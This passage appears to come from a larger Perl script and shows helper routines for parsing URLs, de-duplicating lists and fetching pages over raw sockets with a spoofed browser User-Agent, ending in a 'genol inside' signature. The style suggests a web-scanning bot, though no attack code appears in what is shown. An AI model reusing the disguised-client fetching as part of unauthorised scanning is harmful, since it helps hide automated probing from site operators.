  766. $link.="/";
  767. $hdir.="/";
  768. $host=~s/\/\//\//g;
  769. $hdir=~s/\/\//\//g;
  770. $link=~s/\/\//\//g;
  771. push(@l,$link,$host,$hdir);
  772. return @l;
  773. }
  774.  
  775. sub geths(){
  776. my $host=$_[0];
  777. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  778. return $host;
  779. }
  780.  
  781. sub query($){
  782. my $url=$_[0];
  783. $url=~s/http:\/\///;
  784. my $host=$url;
  785. my $query=$url;
  786. my $page="";
  787. $host=~s/href=\"?http:\/\///;
  788. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  789. $query=~s/$host//;
  790. if ($query eq "") {$query="/";};
  791. eval {
  792. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  793. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  794. my @r = <$sock>;
  795. $page="@r";
  796. close($sock);
  797. };
  798. return $page;
  799. }
  800.  
  801. sub unici{
  802. my @unici = ();
  803. my %visti = ();
  804. foreach my $elemento ( @_ )
  805. {
  806. next if $visti{ $elemento }++;
  807. push @unici, $elemento;
  808. }  
  809. return @unici;
  810. }
  811.  
  812. sub http_query($){
  813. my ($url) = @_;
  814. my $host=$url;
  815. my $query=$url;
  816. my $page="";
  817. $host =~ s/href=\"?http:\/\///;
  818. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  819. $query =~s/$host//;
  820. if ($query eq "") {$query="/";};
  821. eval {
  822. local $SIG{ALRM} = sub { die "1";};
  823. alarm 10;
  824. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  825. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  826. my @r = <$sock>;
  827. $page="@r";
  828. alarm 0;
  829. close($sock);
  830. };
  831. return $page;
  832. }
  833. }
  834. #########
  835. # genol inside #
  836. #########